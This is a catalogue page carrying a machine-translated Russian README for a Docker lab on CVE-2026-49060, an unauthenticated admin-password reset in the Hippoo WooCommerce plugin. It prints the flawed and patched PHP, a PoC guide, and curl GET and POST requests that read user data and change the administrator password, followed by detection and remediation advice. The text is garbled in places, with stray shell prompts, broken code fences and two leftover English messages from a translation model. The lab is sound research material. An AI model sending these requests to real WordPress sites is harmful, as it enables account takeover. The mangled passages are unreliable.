Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-49060-Lab | Kitploit
Инструменты/GitHubGitHub/rootdirective-sec/cve-2026-49060-lab
Повышение привилегийАнализ уязвимостейЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubrootdirective-sec/cve-2026-49060-lab

CVE-2026-49060-Lab

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-49060 - Hippoo Mobile App for WooCommerce: некорректное назначение привилегий / повышение привилегий

Краткое содержание

Этот репозиторий содержит локальную Docker-лабораторию для воспроизведения и проверки CVE-2026-49060 — уязвимости некорректного назначения привилегий, затрагивающей плагин WordPress Hippoo Mobile App for WooCommerce.

Уязвимое поведение доступно через клонированное пространство имён REST API Hippoo:```text /wc-hippoo/v1/ext/

root@kitploit:~
В уязвимой цели неаутентифицированный посетитель может получить доступ к клонированному маршруту пользователей WordPress REST и может обновить пароль администратора через неаутентифицированный HTTP-запрос. В исправленной цели тот же запрос блокируется с кодом `403 Forbidden`.

Эта лабораторная работа сравнивает две версии Hippoo:

| Сервис | Версия Hippoo | Назначение | URL |
| --------- | -------------: | ---------------------------- | ----------------------- |
| `vuln`    |          1.9.4 | Уязвимая цель для сравнения | `http://localhost:8081` |
| `patched` |          1.9.5 | Исправленная цель для сравнения | `http://localhost:8082` |

Продемонстрированная цепочка уязвимостей:```text
Unauthenticated visitor
→ Hippoo cloned REST namespace
→ /wc-hippoo/v1/ext/wp/v2/users/<id>
→ vulnerable permission handling allows access
→ unauthenticated GET exposes user data
→ unauthenticated POST can update the selected user's password
→ patched version blocks the same request with 403 Forbidden

Эта лаборатория проверяет поведение авторизации уязвимой и исправленной версий с помощью Hippoo 1.9.4 и Hippoo 1.9.5.

Лаборатория намеренно ограничена локальными Docker-сервисами. Она не нацелена на внешние системы и не включает закрепление, веб-шеллы, вредоносное ПО или внешние обратные вызовы.

Проверенные факты

Допущения и неизвестные

Эта лаборатория использует Hippoo 1.9.4 как уязвимую цель для сравнения, поскольку публичные уведомления указывают версии до 1.9.4 включительно как затронутые.

Эта лаборатория использует Hippoo 1.9.5 как исправленную цель для сравнения, поскольку метаданные публичных уведомлений указывают 1.9.5 как исправленную версию для продемонстрированного затронутого диапазона.

Публичная запись CVE-2026-49060 описывает проблему на высоком уровне как неправильное назначение привилегий / повышение привилегий. Эта лаборатория сосредоточена на наблюдаемом поведении авторизации в Hippoo 1.9.4 и сравнивает его с Hippoo 1.9.5.

Сводка корневых причин в этом README основана на сравнении исходного кода уязвимой и исправленной версий Hippoo, используемых в лаборатории.

Эта лаборатория не претендует на проверку каждого маршрута Hippoo. Она сосредоточена на клонированном REST-маршруте пользователей WordPress:```text /wc-hippoo/v1/ext/wp/v2/users/

root@kitploit:~
Лаборатория не демонстрирует:

* устойчивость (persistence),
* загрузку веб-шелла,
* произвольное выполнение команд,
* внешние обратные вызовы,
* поведение вредоносного ПО,
* атаки на системы вне лаборатории,
* или действия после компрометации, выходящие за рамки локальной проверки обновления пароля.

## Сводка о первопричине

Корневая причина — логическая ошибка в разрешениях при обработке ролей и прав в Hippoo.

Hippoo предоставляет клонированные маршруты REST WordPress и WooCommerce в собственном пространстве имён:```text
/wc-hippoo/v1/ext/

Поведение клонирования маршрутов чувствительно с точки зрения безопасности, поскольку клонированный маршрут должен сохранять или усиливать требования авторизации исходного маршрута. Если клонированный маршрут получает разрешающий обратный вызов прав доступа, неаутентифицированные пользователи могут получить доступ к REST-конечным точкам, которые должны требовать аутентификации и авторизации.

Соответствующее поведение клонирования маршрутов следует этому шаблону:```php function re_register_external_routes() { $server = rest_get_server(); $endpoints = $server->get_routes();

root@kitploit:~
$new_namespace = $this->hippoo_namespace . '/ext';

foreach ($endpoints as $route => $handlers) {
    if (strpos($route, $this->hippoo_namespace) === 0) {
        continue;
    }

    foreach ($handlers as $handler) {
        $default_permission_callback = array($this, 'is_user_wordpress_admin');
        $permission_callback = apply_filters(
            'hippoo_extension_permission_check',
            $default_permission_callback,
            $route,
            $handler
        );

        register_rest_route(
            $new_namespace,
            $route,
            array(
                'methods'             => $methods,
                'callback'            => $handler['callback'],
                'args'                => $handler['args'],
                'permission_callback' => $permission_callback,
            )
        );
    }
}

}

root@kitploit:~
Предусмотренная модель безопасности:```text
Original protected REST route
→ cloned into Hippoo namespace
→ permission callback still denies unauthenticated access

Уязвимое поведение возникает из-за того, что Hippoo 1.9.4 использует одно и то же возвращаемое значение для двух разных состояний:```text administrator / unrestricted access unauthenticated visitor / no user

root@kitploit:~
В Hippoo `1.9.4`, помощник разрешений возвращает `null`, когда нет вошедшего в систему пользователя WordPress:```php
public static function get_user_permissions()
{
    $user = wp_get_current_user();

    if (empty($user) || !$user->exists()) {
        return null;
    }

    if (in_array('administrator', (array) $user->roles)) {
        return null; // Full access
    }

    $settings = get_option('hippoo_permissions_settings', []);
    foreach ((array) $user->roles as $role) {
        if (!isset($settings[$role])) {
            continue;
        }

        return $settings[$role];
    }

    return null; // Full access
}

Уязвимая версия также считает null допустимым:```php private function has_role_access($section, $key = null) { $perms = self::get_user_permissions();

root@kitploit:~
if ($perms === null) {
    return true; // admin or unrestricted
}

if (empty($perms['general']['enable_access'])) {
    return false;
}

}

root@kitploit:~
Это создает уязвимый поток данных:```text
Unauthenticated visitor
→ no WordPress user exists
→ get_user_permissions() returns null
→ has_role_access() treats null as allowed
→ cloned REST route permission can become permissive
→ unauthenticated request reaches sensitive REST endpoints

Проблема не просто в том, что существует REST-маршрут. Проблема в том, что решение о разрешении доступа может ошибочно рассматривать неавторизованного посетителя как неограниченного.

Исправленная версия разделяет эти состояния.

В Hippoo 1.9.5 неавторизованные посетители возвращают false вместо null:```php public static function get_user_permissions() { $user = wp_get_current_user();

root@kitploit:~
if (empty($user) || !$user->exists() || !is_user_logged_in()) {
    return false;
}

if (in_array('administrator', (array) $user->roles)) {
    return null; // Full access
}

$settings = get_option('hippoo_permissions_settings', []);
foreach ((array) $user->roles as $role) {
    if (isset($settings[$role])) {
        return $settings[$role];
    }
}

return false; // No access

}

root@kitploit:~
Исправленная проверка авторизации затем явно отклоняет `false`:```php
private function has_role_access($section, $key = null)
{
    $perms = self::get_user_permissions();

    if ($perms === null) {
        return true; // admin
    }

    if ($perms === false) {
        return false;
    }

    if (empty($perms['general']['enable_access'])) {
        return false;
    }
}

Изменение, относящееся к безопасности:```text Before: unauthenticated visitor → null → allowed

After: unauthenticated visitor → false → denied

root@kitploit:~
Вот почему лаборатория показывает:```text
Hippoo 1.9.4 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 200 OK
Hippoo 1.9.5 → GET /wc-hippoo/v1/ext/wp/v2/users/1 → 403 Forbidden

Сводка патча исходного кода

Патч меняет смысл возвращаемых значений разрешений.

В уязвимой версии:```text null means administrator/full access null also means unauthenticated/no user

root@kitploit:~
В пропатченной версии:```text
null means administrator/full access
false means unauthenticated/no role/no access

Важное изменение на уровне исходного кода в помощнике разрешений:```diff public static function get_user_permissions() { $user = wp_get_current_user();

  • if (empty($user) || !$user->exists()) {
  • root@kitploit:~
       return null;
    
  • if (empty($user) || !$user->exists() || !is_user_logged_in()) {

  • root@kitploit:~
       return false;
    

    }

    if (in_array('administrator', (array) $user->roles)) { return null; // Full access }

    $settings = get_option('hippoo_permissions_settings', []); foreach ((array) $user->roles as $role) {

  • root@kitploit:~
       if (!isset($settings[$role])) {
    
  • root@kitploit:~
           continue;
    
  • root@kitploit:~
       if (isset($settings[$role])) {
    
  • root@kitploit:~
           return $settings[$role];
       }
    
  • root@kitploit:~
       return $settings[$role];
    

    }

  • return null; // Full access

  • return false; // No access }
root@kitploit:~
Решение об авторизации также изменяется:```diff
 private function has_role_access($section, $key = null)
 {
     $perms = self::get_user_permissions();

     if ($perms === null) {
-        return true; // admin or unrestricted
+        return true; // admin
     }

+    if ($perms === false) {
+        return false;
+    }
+
     if (empty($perms['general']['enable_access'])) {
         return false;
     }
 }

Этот патч не удаляет функцию клонирования маршрутов Hippoo. Вместо этого он исправляет границу доверия вокруг оценки разрешений.

Урок безопасности из этого патча:```text A permission helper must not use the same return value for "administrator" and "unauthenticated visitor".

root@kitploit:~
Чувствительные к безопасности функции разрешений должны использовать различные значения для различных состояний:```text
administrator / full access     → allowed
authenticated user with policy   → evaluate policy
unauthenticated user             → denied
unknown role / no configured ACL → denied

Архитектура лаборатории

Лаборатория запускает две изолированные установки WordPress через Docker Compose.```text . ├── docker-compose.yml ├── vuln/ │ └── Dockerfile ├── patched/ │ └── Dockerfile ├── poc/ │ └── poc.py ├── README.md └── .gitignore

root@kitploit:~
Два сервиса WordPress используют отдельные базы данных и отдельные версии плагинов:

| Сервис | Компонент | Версия / Роль |
| -------------- | -------------------------------- | ------------------------------ |
| `vuln` | WordPress + WooCommerce + Hippoo | уязвимое целевое приложение |
| `patched` | WordPress + WooCommerce + Hippoo | исправленное целевое приложение |
| `db-vuln` | MariaDB | база данных для уязвимого целевого приложения |
| `db-patched` | MariaDB | база данных для исправленного целевого приложения |
| `init-vuln` | сервис инициализации WordPress | инициализирует уязвимое целевое приложение |
| `init-patched` | сервис инициализации WordPress | инициализирует исправленное целевое приложение |

Сервисы, открытые по умолчанию:```text
Vulnerable target: http://localhost:8081
Patched target:    http://localhost:8082

The lab uses pinned Hippoo versions:

TargetHippoo versionExpected behavior
http://localhost:80811.9.4unauthenticated cloned users route is allowed
http://localhost:80821.9.5unauthenticated cloned users route is blocked

The lab installs WooCommerce because Hippoo integrates with WooCommerce REST classes and routes.

Requirements

  • Docker Desktop or Docker Engine
  • Docker Compose v2
  • Python 3
  • Internet access during Docker image build to fetch WordPress plugin packages

No Python third-party package is required. The PoC uses Python standard library modules only.

Quick Start

Start the lab from a clean state:```bash docker compose down -v --remove-orphans

docker image rm -f
cve-2026-49060-vuln:1.9.4
cve-2026-49060-patched:1.9.5

docker compose up --build --wait -d

root@kitploit:~
Проверьте статус службы:```bash
docker compose ps

Ожидаемые исправные сервисы:```text cve-2026-49060-vuln cve-2026-49060-patched cve-2026-49060-init-vuln cve-2026-49060-init-patched cve-2026-49060-db-vuln cve-2026-49060-db-patched

root@kitploit:~
Проверьте веб-приложения:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head

Запустите проверку только для чтения для обеих целей:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
Запустите активную локальную проверку для обеих целей:```bash
python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082

Выполните активную проверку с явным паролем:```bash python3 poc/poc.py --update-password --password 'NewLabPass123!' http://127.0.0.1:8081

root@kitploit:~
## Использование PoC

Передайте один или несколько локальных URL-адресов целевых объектов в качестве позиционных аргументов:```bash
python3 poc/poc.py <target_url> [target_url...]

Примеры:```bash python3 poc/poc.py http://127.0.0.1:8081 python3 poc/poc.py http://127.0.0.1:8082 python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
Режим по умолчанию — только чтение. Он отправляет неаутентифицированный `GET`-запрос к маршруту клонированных пользователей и сообщает, разрешён ли доступ или заблокирован.

Поддерживаемые параметры:```text
--update-password   Send unauthenticated POST to update the selected user's password.
--user-id           WordPress user ID to read or update. Default: 1.
--password          Password used with --update-password.

Пример активной валидации:```bash python3 poc/poc.py --update-password --user-id 1 --password 'Cve49060LabPass123!' http://127.0.0.1:8081

root@kitploit:~
PoC принимает только loopback/локальные цели:```text
http://localhost:<port>
http://127.0.0.1:<port>
http://[::1]:<port>

Он по замыслу отказывается работать с нелокальными целями.

Ожидаемые результаты

Проверка режима только для чтения

Команда:```bash python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
Ожидаемый сигнал уязвимой цели:```text
Target: target-1
Base  : http://127.0.0.1:8081

[+] REST index ready via /?rest_route=/
[+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users

Unauthenticated GET probe result: ALLOWED
  Request : GET http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
  Status  : 200 OK

Ожидаемый сигнал пропатченной цели:```text Target: target-2 Base : http://127.0.0.1:8082

[+] REST index ready via /?rest_route=/ [+] Cloned Hippoo user route discovered via /?rest_route=/: /wc-hippoo/v1/ext/wp/v2/users

Unauthenticated GET probe result: BLOCKED Request : GET http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden

root@kitploit:~
Ожидаемая сводка:```text
Summary

target-1
  URL             : http://127.0.0.1:8081
  REST ready      : True
  REST index path : /?rest_route=/
  Route found     : True
  Route           : /wc-hippoo/v1/ext/wp/v2/users
  GET verdict     : ALLOWED
  GET status      : 200

target-2
  URL             : http://127.0.0.1:8082
  REST ready      : True
  REST index path : /?rest_route=/
  Route found     : True
  Route           : /wc-hippoo/v1/ext/wp/v2/users
  GET verdict     : BLOCKED
  GET status      : 403

Read-only comparison:
  At least one target allowed unauthenticated GET access and at least one target blocked it.
  This supports a vulnerable-vs-patched authorization behavior difference.

Активная локальная проверка

Команда:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
Ожидаемый сигнал уязвимой цели:```text
Active local validation: target-1
Base                   : http://127.0.0.1:8081

Unauthenticated POST password update result: ALLOWED
  Request : POST http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
  Status  : 200 OK

Ожидаемый сигнал пропатченной цели:```text Active local validation: target-2 Base : http://127.0.0.1:8082

Unauthenticated POST password update result: BLOCKED Request : POST http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 Status : 403 Forbidden

root@kitploit:~
Активная проверка изменяет только одноразовый пароль администратора WordPress внутри локальной уязвимой лабораторной цели.

Учётные данные локальной лаборатории по умолчанию до активной проверки:```text
Username: admin
Password: AdminPass123!

Пароль по умолчанию после успешной активной проверки на уязвимом целевом узле:```text Username: admin Password: Cve49060LabPass123!

root@kitploit:~
## Как работает валидация

Сначала валидатор обнаруживает WordPress REST API.

Некоторые среды WordPress предоставляют REST-маршруты через красивые постоянные ссылки:```text
/wp-json/

Другие предоставляют их более надежно через резервный вариант строки запроса:```text /?rest_route=/

root@kitploit:~
Валидатор пробует обе формы и использует ту, которая возвращает индекс JSON REST.

После обнаружения REST он ищет маршрут клонированных пользователей Hippoo:```text
/wc-hippoo/v1/ext/wp/v2/users

Затем он выполняет неаутентифицированный GET-запрос только для чтения:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1

root@kitploit:~
Ожидаемое уязвимое поведение:```text
HTTP 200 OK
JSON user object returned

Ожидаемое поведение после исправления:```text HTTP 403 Forbidden JSON rest_forbidden error returned

root@kitploit:~
Когда `--update-password` включён, валидатор отправляет неаутентифицированный POST-запрос:```text
POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1
Content-Type: application/json

{
  "password": "Cve49060LabPass123!"
}

Ожидаемое уязвимое поведение:```text HTTP 200 OK The selected user's password is updated inside the local lab target.

root@kitploit:~
Ожидаемое поведение после исправления:```text
HTTP 403 Forbidden
The update is blocked.

Важное отличие не в том, существует ли маршрут. Маршрут существует в обеих версиях. Разница в безопасности заключается в том, разрешено ли неаутентифицированному запросу вызывать его.

Ручное воспроизведение HTTP с помощью curl

Уязвимый зонд только для чтения:```bash curl -i
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'

root@kitploit:~
Ожидаемый результат:```text
HTTP/1.1 200 OK
Content-Type: application/json

Патченный зонд только для чтения:```bash curl -i
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'

root@kitploit:~
Ожидаемый результат:```text
HTTP/1.1 403 Forbidden
Content-Type: application/json

Активный уязвимый зонд:```bash curl -i -X POST
'http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'

root@kitploit:~
I notice the input content for this chunk appears to be empty. There is no source text provided to translate.

Since there is no content to translate, I will return an empty response to preserve the chunk structure for seamless concatenation.```text
HTTP/1.1 200 OK

Активный пропатченный зонд:```bash curl -i -X POST
'http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1'
-H 'Content-Type: application/json'
--data '{"password":"Cve49060LabPass123!"}'

root@kitploit:~
The input content appears to be missing — there is no source text after "INPUT:" to translate. Please provide the markdown chunk so I can translate it into Russian.```text
HTTP/1.1 403 Forbidden

Влияние

Уязвимое поведение позволяет неавторизованный доступ к клонированным REST-маршрутам в пределах пространства имён Hippoo.

Наиболее чувствительным с точки зрения безопасности продемонстрированным маршрутом является клонированный маршрут пользователей WordPress:```text /wc-hippoo/v1/ext/wp/v2/users/

root@kitploit:~
В уязвимой локальной цели неаутентифицированный запрос может обновить пароль учётной записи администратора. Это демонстрирует impact захвата учётной записи в контролируемой лабораторной среде.

Потенциальное реальное воздействие, в зависимости от конфигурации сайта и открытых маршрутов, включает:

* несанкционированный доступ к чувствительным данным REST API,
* захват учётной записи администратора,
* повышение привилегий,
* несанкционированное изменение записей пользователей WordPress,
* и полный компрометацию сайта после получения доступа администратора.

Эта лабораторная работа демонстрирует только нарушение авторизации и локальное обновление пароля администратора. Она не включает эксплуатацию после аутентификации, редактирование плагинов, выполнение кода, закрепление или деструктивные действия.

## Обнаружение и мониторинг

Потенциальные индикаторы включают неаутентифицированные запросы к клонированному REST-пространству имён Hippoo:```text
/wc-hippoo/v1/ext/

Шаблон маршрута высокого риска:```text GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/ POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/

root@kitploit:~
Подозрительные индикаторы:```text
Unauthenticated POST requests to users endpoints
Requests containing "password" in JSON body
Requests to /wc-hippoo/v1/ext/wp/v2/users
Requests to cloned WooCommerce or WordPress REST routes under /wc-hippoo/v1/ext/
Unexpected 200 responses for unauthenticated REST API requests

Примеры шаблонов журналов доступа:```text POST /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1 GET /?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1

root@kitploit:~
Рекомендуемые действия по мониторингу:

* Проверяйте журналы доступа веб-сервера на предмет `/wc-hippoo/v1/ext/`.
* Проверяйте журналы аутентификации WordPress на предмет неожиданных входов администраторов.
* Проверяйте записи пользователей WordPress на предмет недавних изменений паролей.
* Проверяйте адреса электронной почты, роли и время создания учётных записей администраторов.
* Проверяйте время изменения файлов плагинов/тем, если есть подозрение на захват учётной записи администратора.
* Отслеживайте запросы к REST API, которые возвращают `200 OK` неаутентифицированным пользователям, хотя для них должна требоваться авторизация.

## Информация об устранении уязвимости и исправлениях

Обновите Hippoo Mobile App for WooCommerce до исправленной версии.

Для конкретного лабораторного сравнения: Hippoo `1.9.5` блокирует продемонстрированное поведение маршрута неаутентифицированных клонированных пользователей, которое было доступно в `1.9.4`.

Для production-сред обновляйтесь до последней доступной версии, а не останавливайтесь на версии, использованной в лабораторном сравнении.

Рекомендуемые шаги по устранению уязвимости:

* Обновите Hippoo Mobile App for WooCommerce до последней доступной исправленной версии.
* Убедитесь, что установленная версия новее затронутого диапазона.
* Проверьте, доступен ли `/wc-hippoo/v1/ext/` публично.
* Смените пароли администраторов, если есть подозрение на эксплуатацию.
* Проверьте учётные записи администраторов WordPress на предмет несанкционированных изменений.
* Проверяйте журналы доступа веб-сервера на предмет неаутентифицированных запросов к клонированным маршрутам REST.
* Временно отключите плагин, если немедленное исправление невозможно.
* Используйте WAF или виртуальные исправления как временный уровень защиты, а не как замену обновлению.

Уроки инженерии безопасности:```text
Do not use the same sentinel value for "administrator" and "unauthenticated visitor".
Fail closed when user identity is missing.
REST route permission callbacks should deny by default.
Cloned or proxied routes must preserve or strengthen authorization, not weaken it.

Полезные команды проверки

Проверьте статус контейнера:```bash docker compose ps

root@kitploit:~
Проверьте логи инициализации:```bash
docker compose logs init-vuln init-patched

Проверка веб-сервисов:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head

root@kitploit:~
Запустите проверку только для чтения:```bash
python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082

Запустите активную проверку:```bash python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
Проверьте активные плагины:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

Проверьте версии Hippoo:```bash docker compose exec -T vuln sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"

docker compose exec -T patched sh -lc
"grep -R "Version:" -n /var/www/html/wp-content/plugins/hippoo/hippoo.php"

root@kitploit:~
Проверьте логику разрешений в уязвимой цели:```bash
docker compose exec -T vuln sh -lc \
  "grep -n \"function get_user_permissions\\|function has_role_access\" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"

Проверьте логику разрешений в пропатченной цели:```bash docker compose exec -T patched sh -lc
"grep -n "function get_user_permissions\|function has_role_access" -A45 /var/www/html/wp-content/plugins/hippoo/app/permissions.php"

root@kitploit:~
Сохранить доказательства проверки:```bash
mkdir -p evidence

python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082 \
  | tee evidence/read-only-validation.txt

python3 poc/poc.py --update-password http://127.0.0.1:8081 http://127.0.0.1:8082 \
  | tee evidence/active-password-update-validation.txt

docker compose ps \
  | tee evidence/docker-compose-ps.txt

Очистка

Остановите и удалите контейнеры и сети:```bash docker compose down --remove-orphans

root@kitploit:~
Удалите контейнеры, сети и тома:```bash
docker compose down -v --remove-orphans

Удалите локальные файлы улик, если они были созданы:```bash rm -rf evidence/

root@kitploit:~
## Границы безопасности

Эта лаборатория предназначена только для локальных исследований безопасности и контролируемых демонстраций.

Не запускайте PoC и не отправляйте ручные curl-запросы к системам, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.

Не используйте в этой лаборатории реальные производственные учётные данные, реальные данные клиентов или производственные секреты.

Предполагаемая область применения ограничена локальными Docker-сервисами, такими как:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

The PoC намеренно ограничен только HTTP и локальной областью действия. Он не вызывает Docker, Docker Compose, WP-CLI или контейнерные API.

Режим активной проверки изменяет пароль только для выбранного пользователя WordPress внутри одноразовой локальной лабораторной цели.

Лаборатория не включает полезные нагрузки для:

  • загрузки веб-шелла,
  • выполнения произвольных команд,
  • закрепления (persistence),
  • горизонтального перемещения,
  • кражи учётных данных,
  • дампа базы данных,
  • или внешних обратных вызовов.

Цель — продемонстрировать одно конкретное техническое условие в контролируемой среде:```text unauthenticated request

  • Hippoo cloned REST route
  • vulnerable permission sentinel logic
  • unauthenticated access allowed in 1.9.4
  • unauthenticated access blocked in 1.9.5
root@kitploit:~
## Ссылки

* NVD: CVE-2026-49060
  https://nvd.nist.gov/vuln/detail/CVE-2026-49060

* Patchstack: повышение привилегий в плагине Hippoo Mobile App for WooCommerce для WordPress <= 1.9.4
  https://patchstack.com/database/wordpress/plugin/hippoo/vulnerability/wordpress-hippoo-mobile-app-for-woocommerce-plugin-1-9-4-privilege-escalation-vulnerability

* Уведомление GitHub: GHSA-mh6m-7983-2r5w
  https://github.com/advisories/GHSA-mh6m-7983-2r5w

* Плагин WordPress.org: Hippoo Mobile App for WooCommerce
  https://wordpress.org/plugins/hippoo/

* SVN-репозиторий плагина WordPress.org
  https://plugins.svn.wordpress.org/hippoo/

* Теги SVN плагина WordPress.org
  https://plugins.svn.wordpress.org/hippoo/tags/

* Справочник WordPress REST API: Маршруты и конечные точки
  https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/

* Руководство OWASP по тестированию веб-безопасности: Проверка обхода авторизации
  https://owasp.org/www-project-web-security-testing-guide/
Скачать инструмент
УтверждениеДоказательстваКак проверить в этой лаборатории
CVE-2026-49060 затрагивает Hippoo Mobile App for WooCommerce до версии 1.9.4 включительно.Публичные уведомления указывают Hippoo <= 1.9.4 / до 1.9.4 как затронутые.Изучите раздел References и сравните версию сервиса vuln.
Hippoo 1.9.5 используется как исправленная цель для сравнения.Метаданные публичных уведомлений указывают 1.9.5 как исправленную версию для затронутого диапазона.Выполните docker compose logs init-vuln init-patched и подтвердите инициализированные версии плагина.
Уязвимое поведение доступно через клонированное REST-пространство имён Hippoo.Hippoo повторно регистрирует внешние REST-маршруты в /wc-hippoo/v1/ext/.Выполните python3 poc/poc.py http://127.0.0.1:8081 http://127.0.0.1:8082.
Hippoo 1.9.4 разрешает неаутентифицированный доступ к клонированному маршруту users в этой лаборатории.PoC лаборатории получает 200 OK от http://127.0.0.1:8081/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1.Выполните команду проверки только на чтение для 8081.
Hippoo 1.9.5 блокирует тот же неаутентифицированный запрос в этой лаборатории.PoC лаборатории получает 403 Forbidden от http://127.0.0.1:8082/?rest_route=/wc-hippoo/v1/ext/wp/v2/users/1.Выполните команду проверки только на чтение для 8082.
Уязвимая цель может обновить пароль администратора через неаутентифицированный POST-запрос в этой локальной лаборатории.Активный PoC получает 200 OK от уязвимой цели при использовании --update-password.Выполните python3 poc/poc.py --update-password http://127.0.0.1:8081.
Исправленная цель блокирует неаутентифицированный запрос на обновление пароля.Hippoo 1.9.5 возвращает ответ «запрещено» для того же клонированного маршрута users.Выполните активную проверку для обеих целей.
PoC работает только через HTTP.poc/poc.py отправляет только HTTP-запросы и не вызывает Docker, WP-CLI или API контейнеров.Изучите poc/poc.py.